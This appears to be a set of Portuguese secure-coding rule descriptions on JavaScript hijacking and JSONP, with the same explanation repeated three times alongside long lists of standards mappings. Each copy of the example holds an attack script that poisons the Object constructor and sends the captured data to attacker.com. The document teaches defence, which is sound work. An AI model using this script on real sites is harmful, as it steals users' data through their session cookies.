O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.java.javascript_hijacking
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Os navegadores da Web aplicam a Política de Mesma Origem para proteger os usuários de sites mal-intencionados. A mesma Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto o JavaScript quanto a página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e, depois, comunicá-las ao invasor. O sequestro de JavaScript permite que um invasor ignore a política da mesma origem no caso de um aplicativo da web usar JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não possa examinar diretamente quaisquer dados carregados de um site vulnerável no cliente, ele ainda pode tirar vantagem dessa brecha, configurando um ambiente que permite testemunhar a execução do JavaScript e quaisquer efeitos colaterais relevantes que possa ter. Como muitos aplicativos da Web 2.0 usam JavaScript como mecanismo de transporte de dados, eles costumam ser vulneráveis, ao contrário dos aplicativos tradicionais da Web.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável. As matrizes de JavaScript podem ser roubadas se o mecanismo de JavaScript do navegador permitir o envenenamento do construtor de matriz.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações:
1) Se ele usa objetos JavaScript como formato de transferência de dados
2) Se ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.

Exemplo 2: Este código mostra um exemplo de método de visualização do Django que envia uma resposta JSON contendo dados confidenciais na forma de uma matriz JSON.


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[5] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[8] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
O JSONP é uma técnica de comunicação não segura e só deve ser usada quando dados pessoais ou confidenciais não estão envolvidos e limpando a função de retorno de chamada.
Explanation
Por padrão, o JSONP permite a realização de solicitações entre domínios, mas não possui mecanismos para restringir e verificar origens de solicitações. Um site mal-intencionado pode facilmente realizar uma solicitação JSONP em nome do usuário e processar a resposta JSON. Por esse motivo, é altamente recomendável evitar essa técnica de comunicação quando PII ou dados confidenciais estão sendo enviados.
Por padrão, o JSONP é um ataque de XSS autoinfligido, pois o nome da função de retorno de chamada precisa ser refletido no site solicitante para o devido processamento do JSON. É obrigatório validar e limpar o nome da função de retorno de chamada a fim de evitar a injeção JavaScript. Para limpar o nome da função de retorno de chamada, considere usar uma lista de permissões, quando possível, ou restrinja os caracteres de forma que eles sejam somente alfanuméricos.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 346
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
O JSONP é uma técnica de comunicação não segura e só deve ser usada quando dados pessoais ou confidenciais não estão envolvidos.
Explanation
Por padrão, o JSONP permite a realização de solicitações entre domínios, mas não possui mecanismos para restringir e verificar origens de solicitações. Um site mal-intencionado pode facilmente realizar uma solicitação JSONP em nome do usuário e processar a resposta JSON. Por esse motivo, é altamente recomendável evitar essa técnica de comunicação quando PII ou dados confidenciais estão sendo enviados.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 346
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[7] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[8] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
